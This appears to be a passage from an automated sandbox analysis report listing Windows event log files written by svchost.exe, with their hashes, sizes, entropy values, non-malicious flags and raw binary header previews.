SSDEEP:	384:Yeh6iIvcImIvITIQIoIoI3IEIMIoIBIAI8eI1BIBIEVIfI:YeoxYvg
MD5:	B8BD729014D16BDCC56875E927045A6D
SHA1:	6C96B9607A2E321C85E3140B207C94810642D1DA
SHA-256:	FB594E1E9A976C6D83FE17BD5BDA0650EA764C31FD8C904D30BA8FE437203DF1
SHA-512:	4A37C748DC246DA1EA4D301BF039EF85B6A649DB883C9D91F39090DDA464952304B09EB4738E6595B175A6C2EBF0E1D8B7A80A3B951B2344E93E09477924A2C4
Malicious:	false
Preview:	ElfChnk.....................................X$...%....M......................................................................2lJ............................................=...........................................................................................................................f...............?...........................m...................M...F...........................^.......................................................................................................................**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.037593139626118
Encrypted:	false
SSDEEP:	768:q4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH13V:o
MD5:	AE26EB8C86733AA2FBADA4FBB44600F9
SHA1:	890480EF814AA1F96C03AC19A8E07EE9331AAFCC
SHA-256:	73D13AC531944AE4A35A03D2DB32E856D2515FDCF64DFF0BE521CC7635FBEDBD
SHA-512:	816EC597FE628634ADF6A5E99AA8E20CEA64C18064A5892C5DE5F72A664B8FA617FDB2AEA47306B0BDBCFC6D1ED5FE8D594CC3B3C6988BC6BD1DE012C077BCAB
Malicious:	false
Preview:	ElfChnk.....................................(...8...gn..........................................................................................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F............................................................ ......................................................................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67224
Entropy (8bit):	3.6332905893053553
Encrypted:	false
SSDEEP:	768:HbCUutDByV8k+u7eUtHpoVWWacRkpHrWbGyYKQc90X:vutDByV8k+u7PtHpoVW
MD5:	011306CE95FF5E1E26C20FD9BDC7A15D
SHA1:	725399C57603CB33F1460AEBB0BDE364BF12CB33
SHA-256:	B2B59967D3BE2782C66C860E3CBA679DB549810757CCCBB5F12FEB6517BECEAB
SHA-512:	94C826163FB729560269C52BE08407D8328654673BB2959FF6A07AFB56E19C4A5A2C84569581E839988C2E1AD344BBB3172249860669304B800E49775033D5F5
Malicious:	false
Preview:	ElfChnk.................P.......[...........X..........[....................................................................$vw.............................................=...........................................................................................................................f...............?...........................m...................M...F.......................................................&.............................................................................................x...Y.......+.:.MQ........V...&...............................................................8.......P.....!.................+.:.MQ.....Pl....:.Pl...........Y........................$.N......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.P.o.w.e.r.S.h.e.l.l.;...@\.K.f<...ZM.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.P.o.w.e.r.S.h.e.l.l./.O.p.e.r.a.t.i.o.n.a.l......L.......... .}..x.........Z.......a`W.MQ........V...&...............................................................8.......P...C.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4287472499520275
Encrypted:	false
SSDEEP:	384:ChhKVKrQoKIKZ8TKnKkKFK9K6GK7VXKR4KVKZKjKSWKtVK4wKnhfKKKP7kKFKKKu:C+R89L3GpVW1/IAjM4QvwNcrjw/Q
MD5:	0079EC950624CCFA0D87AF5D27D7F187
SHA1:	0F7B370FA691DB2C78597AB00D6EEF742537E128
SHA-256:	88E614B6264B77C7FF9BF09777C308CD0387AA5D2C1BB69FD0E5E3CE7EB6A75E
SHA-512:	6E89C7BCAF71DCB55DBD7EECEDE12EA6CEE6467DC3164744B58FB25CC769B77FE93A95035D9C278B9B3B1E5D2CB69DF440DCAB477F0BA611E7DCF5A0FA6C29F9
Malicious:	false
Preview:	ElfChnk.........<...............<...............0....q.9.......................................................................................l...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................wJ...................-.....................................W%...'.................._@.......9.......3..*..............C...l.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8054444176540313
Encrypted:	false
SSDEEP:	384:/hP8o8Z85848V8M8g8D8R8E8t82U8fM8j8b8:/Fj
MD5:	173544EFADD8E5B22B7B87393BEE28EC
SHA1:	7761FA65139D66A37158BB5F22B3C403106E210D
SHA-256:	0D00247623A5664C48C2664ECA419CB49F069ABAC75A74CAFBA30BFB3AE1728A
SHA-512:	3959BF8F8746BF6DD1C36DC9EF0D1EDEA97B67EBBEA4E00A540860141BEBF7B4CE040F07FB281A99CC18C10A59F5D6D06A5622421CEA4A25AA106579119DF087
Malicious:	false
Preview:	ElfChnk......................................!..0#....z......................................................................7..........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................v...............................&.......................................................................................**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.7843386508347634
Encrypted:	false
SSDEEP:	1536:9XhjUyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMjn1:9XtnS
MD5:	94D58CBB16F3BCCA21820782D16238FE
SHA1:	48FF4CA67623373D1D42302174ED37AF6574B153
SHA-256:	AF45E94BC7CD0E889133D83FB823B65825454C065A79464D3FB93F6E2385DDBF
SHA-512:	6AD0B1D1EA46B2D13B30AF091D6550C321301BEA8AFF248ECCE18F6FD57AC429BADC2566033F9A042CA680CE2BCAD5996CA7A5A8A773FE6FFE05414C5304D1CE
Malicious:	false
Preview:	ElfChnk.........(...............(............L..pN...........................................................................%T................v...........................=...........................................................................................................................f...............?...........................m...................M...F............................9..........................vB..&...............................................................O.......................**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4140097162397725
Encrypted:	false
SSDEEP:	768:c0VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9OZaaY1EZ290/u00O0X:wcE
MD5:	52D82360FD520B2636848032417269E9
SHA1:	EBCEC73783331C56A595EB67FF025FB3D1807B09
SHA-256:	D1768EADB19BFA52ADD7DD91D2DD1998743903FD33F6A733298480493894E69D
SHA-512:	53A848D4E04EBFAFB129C3939123205CE9F02E916610105E94E446EFBD6720B72A3D4F7B516C7EB0B3FE217096AB8029E26CD33C7801592A44B020251B256103
Malicious:	false
Preview:	ElfChnk.........>...............>...........@x..pz...........................................................................9..................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&............................f...............................................]..........]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	78800
Entropy (8bit):	4.130885647224712
Encrypted:	false
SSDEEP:	384:4hfixkk1bdzpFEVQ35pmixR5p2ixR5yYkzixR5pnsixR5pFaixNG2bik5pKik5yO:4hLpBVi7CPFKDY21mpI0UPDU
MD5:	A95FA2DE06E910744238D4AE8796B0E7
SHA1:	226F9E108FD33600AA2E34EB8336E5CD7239856E
SHA-256:	CCF1DAC1C6088737FC23BACB075A271F4C331A10A9CE34FA0F2CF1A95D88BFCA
SHA-512:	69299FFD7FECD687D0EADD8191B3C7CCDDE2E7B8949A5535EB465FDCA647258E9679B551BE9095738E634956E7804369EBA0592CB6B5C14BE1CF59E0D38F54A1
Malicious:	false
Preview:	ElfChnk.'.......,.......'.......,...........X+..X... .......................................................................$}..................T.......................\|...=...........................................................................................................................f...............?...........................m...................M...F...........................................-...........&...........................................................................................**......'.......~.uql.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.328442817893915
Encrypted:	false
SSDEEP:	384:NHD/hDGCyCkCzCRCFCYC5s+CWC8CtCLCTuCqCRC4Cb8CoCuCVC52i62H2ED2M2Dc:NHD/dzA2pAOJ
MD5:	5DA76C1D65C494891DD1A12EB8483523
SHA1:	4550F2010DBFEB809CA6AEB96AE47DC2D49AF711
SHA-256:	5D67CD8B17AEBF94995A1BF97D80BC1409CD8F48BA150BAC19DD4E976B39E022
SHA-512:	6F0DE210AB707BDF2357AE5D295DD1D6E9D6EA4E42AF071DC19921D57D1B8AE422012B38CD81D958789C8D498EF5B14C24E852D425E4B50E106715AF75CE1263
Malicious:	false
Preview:	ElfChnk.U...............U...................X...`...#..3....................................................................z...................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F............................H..........................ny..&................................................x..............is......................**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.483935185214427
Encrypted:	false
SSDEEP:	1536:jbYYysVM8GZEhmw8P9ZltmtO5KdA2mlbdLE3BDgGhUvJX2yvUNGh09rSMjMEOnLl:jbYYysVM8GZEhmw8P9ZltmtO5KdA2ml/
MD5:	4C9EAF05DF0A544E5850C34036F8E3FF
SHA1:	BDF3CC94443DE28D27ADAA89BB42B5C4B91E0A6E
SHA-256:	18ED1D118F7F347FEE9AC706C38CFB061E761E242105EAD1E07FDE111F43B4C8
SHA-512:	F674DF8C1AAB03843C3DE30A8933F95534A95C20BEEE84A07B8F49A07FC20D28F5C38E0B25998C2DDED26D906A5773E739CB83B20B4BA27175487516AE7ABBE0
Malicious:	false
Preview:	ElfChnk.....................................(^..._..........................................................................jf..........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................&............................O..........................................................................................**.................Ej.........R#,.&.......R#,...t\....iR(.........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.431769789730402
Encrypted:	false
SSDEEP:	1536:jKj0HPufXEkOycycrdVH2C9khXEtIo77W0RUJ6tXGRh3qyPJYqgrsfPh1Lt0QzrU:jKj0H2fXEkOycycrdVH2C9khXEtIo77d
MD5:	96EA81653B5214D523D46762A3A01BAD
SHA1:	B9DF1784749273F345DBFFC171395640AB3DD05B
SHA-256:	55935930F0AE2C90306A75E716620F5A757350E08C5BDD3604152B419FF89173
SHA-512:	E1B88F70AC4CC165E99F55CB41C7435394569A1461EC5CAC04E5058A268908B3C1A876E19804450CAD4AD97FA315AF2A287AF32C8F28DB6E35DCE31264889CA7
Malicious:	false
Preview:	ElfChnk.(.......h.......(.......h............y...z...r.......................................................................l.~........................................V...=...........................................................................................................................f...............?...........................m...................M...F.......................................................&.......................................Ao.......Y..........ir...V..YR..............![......**......(.......L.Ul.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4811047309915093
Encrypted:	false
SSDEEP:	384:ch67e7W7r7i7J7O727Z7K7A7B7Bn7u7+7q7O7g7Q7x7x7o787F7K7g7v7L7B7y7r:c7m
MD5:	2E6CEC61E2DECF28A9AAC3D02CB02273
SHA1:	070D59D523A9170A9CC6573077CC0CE8A695A76C
SHA-256:	AACFD64ACB92999F93EFC4ED46F299F47BE3957EC0FD3D4BE1BFB590CEA014D4
SHA-512:	F36B3DD188BBADE38FB46E88DDE1D8C63F2A51147692CF81324C4B2B6A7DB0EDA95F293D7D5AE34D3510C3E7A47C052FC55C0FDE96007F9C7DF1535F3BCD912C
Malicious:	false
Preview:	ElfChnk.....................................Pv.. x..9..M......................................................................]0............................................=...........................................................................................................................f...............?...........................m...................M...F...........................M;..............e4..c........S..................................................................M9......................**..@............MG.j.........R#,.&.......R#,...t\....iR(.........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4234349311397776
Encrypted:	false
SSDEEP:	384:Whc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauinp:W6Ovc0S5UyEeDgLRXjgvXRa8B
MD5:	59217658366B2509FA3C5AE2BFFBC088
SHA1:	55B8F8A64A65CF082308A18854830EDC21621E5E
SHA-256:	DA0E6873717D053523129076B19908B8111FDF193AB01CA9B84D0E66B528EA59
SHA-512:	91EC38FA62CA2D8150FAA161B59D5A1F86A687EEAD7ECBB467C0CD350B0B0A7E00A90CF2F058B836A76444790F28EB45FC222C94B38057A5D32AA1A85F9AD825
Malicious:	false
Preview:	ElfChnk.........B...............B............{...\|..!.H.......................................................................A.................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F.................../g......._..........................Fj..........................................................w...............................**...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.862948105155997
Encrypted:	false
SSDEEP:	384:jhGuZumutu4uEu5uOuDuyb2uPu1uGu7yuw1uzugu:jWA
MD5:	C6E3EAAF79B9B74847E15062DBDCBDD2
SHA1:	9FCDDE8AE58182517D5AC9D3FC46894BF371E5FA
SHA-256:	5641D304842318A93A4A3F51DBA6C48BBDD521CFB52AA6D69F144EA32B49CBD7
SHA-512:	7D794DE25E4B2BFC21E9291F73E303CC54D512FB2618E4FC44818867191ECCCA237AD69BB5C0BCB4D571109F1B08B71E2342BEABF729D42213B2E0B14E92B9AF
Malicious:	false
Preview:	ElfChnk......................................$..x&...U......................................................................R.v.................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................>...............................&.......................................................................................**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3496875518839038
Encrypted:	false
SSDEEP:	384:iOhGA5AaA5ATrAk3AWAsATdATpATFATIATgATJA4AdA1APAYATuATBAT1ATA0bAk:bNhyY5wo
MD5:	0EC3CDA3A528BF0A5729B89E1A358139
SHA1:	73604785D78AC69BDED4E0145CBC0A4A2B879D95
SHA-256:	5D1AB67361A2BDC834E8DC88AFC5A7BC52427FD0404A0EEDDEBC23B613A21787
SHA-512:	DDDC72B157F1EB1716E9FB26D734F1DFF94F9FE4A709E064B6E07A265CA590DEBCC52B6A84F50B978C9A4002CDCF0D2D7B7FE280F976629ED02A74706E9A5850
Malicious:	false
Preview:	ElfChnk......................................w..Py...........................................................................r..................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................M]......................5W..&........................................A..........................................UE......**..................k.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.1948897756370673
Encrypted:	false
SSDEEP:	384:OJhCpj0npRFdpR0VpRblpRi1pR5FpR4FpR/VpRWNpRt5pR8ppRTpR9pRqpR/Z1pO:OJVZfzK
MD5:	119A74A6EB4E3DCD24AAC59CDA066CB6
SHA1:	9EA2058F915A454FA321572AB1202DF132C61EB0
SHA-256:	7ABFFDBEF98597906F5D9190020862061C0D344E8DA3534EB6E93072581C9D49
SHA-512:	6B7A7733A034B604B85351BC4B2E5607F6AE4D5DE22C73412426B39B06DCB57C7BEB79992C4F4DE2205D7006D91E1D79ABB8AE1EA1BCFFCACB58BA2EB7787D8A
Malicious:	false
Preview:	ElfChnk.........'...............'...............x....d......................................................................uS\|(........................................8...=...........................................................................................................................f...............?...........................m...................M...F.......................................................&...........................................................................................**..............85E.l.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.05389871156127
Encrypted:	false
SSDEEP:	384:hhtbpwV1pIvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWBD:hwDoh1VnwAqq6pEPETGwC
MD5:	0D68BB9D8D59E1CC578AB776FCEA4BDA
SHA1:	0BF5606CB5FE98CDB63E92DBAF8D9511524E27CD
SHA-256:	720E52B6452429C30337E6253C1713F83E2F39537C150253416741F87C08FD1A
SHA-512:	2E5912C1CB6E7E52634CD1C9C71BEB57F7334F32989B1FEC217660BD6A0CD24F53038165B8FE2097FC0B3F78EC48DE9F0BF66587891B20430A5D5739E78FAA1E
Malicious:	false
Preview:	ElfChnk.\...............\...................P.........Z......................................................................j.......................................R...=...........................................................................................................................f...............?...........................m...................M...F...........................^................;..............&...................................i...................................mS..............*..8...\........=..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2109210432370807
Encrypted:	false
SSDEEP:	384:bhwCCRzCaCkClCzCYC/CyCVCGCMCvCxC5FC4zCxCBCgC:bKFAL
MD5:	4E735688182523E4C28E902DE2F33BA6
SHA1:	5C74904D115A01F69E260912CAF8B65B0937B3FD
SHA-256:	48824D29CF3DB10C4213E4D1C92D8A28E00DA359AE9FC3BBA8BFF346B77C18E1
SHA-512:	A9FFDA7C6594605FFC85780BA8151EF4F653B585654C979FC7F562657DD340311CDB289E6BAADF16906370308FA2589164E27800B79F4660C923F402234532D7
Malicious:	false
Preview:	ElfChnk..................................... 6..X8...).M......................................................................&o................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................v)...........................-....................................................................................../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67536
Entropy (8bit):	4.436621513263042
Encrypted:	false
SSDEEP:	384:vM6qME/LhxK9K9KuKZXIKLKArKaQlKdKKKeKmMKUKlKsKQKXKpaK6K+OKIKEKyMK:ADEXfqWjpme
MD5:	C5CB9B3CFE132F33B1484C7C66E76C35
SHA1:	674AA950F9B489C14DD3150FE4DF9E22A58C554D
SHA-256:	E6AB48879590D4221A5E41ECC0A54C5EADDD1AC91E123136B0B7F7F10DD18AD5
SHA-512:	8C401944A3E60FD615A46FC1B35BE5B62F2354296F2002488454B66B8A11F3E0CEFD659E64CC9C18D101393EAC032629964904083DB649D6D51075BD41FE46D9
Malicious:	false
Preview:	ElfChnk..".......#.......".......#...........b...e..........................................................................Cb]Y................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F.......................;4..............................&...%S...................................E..................c...............................*.......#.......Gd.MQ........V...&.......................................................................F.....!...A.A............Gd.MQ.....Pl....H.Pl............#...................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.t.o.r.e..7...\..C.....M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.t.o.r.e./.O.p.e.r.a.t.i.o.n.a.l.......E..............I.......I.n.v.o.k.i.n.g. .l.i.c.e.n.s.e. .m.a.n.a.g.e.r. .b.e.c.a.u.s.e. .l.i.c.e.n.s.e./.l.e.a.s.e. .p.o.l.l.i.n.g. .t.i.m.e. .u.p.:. .P.F.N. .M.i.c.r

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 14, DIRTY
Category:	dropped
Size (bytes):	78880
Entropy (8bit):	1.8140339494334448
Encrypted:	false
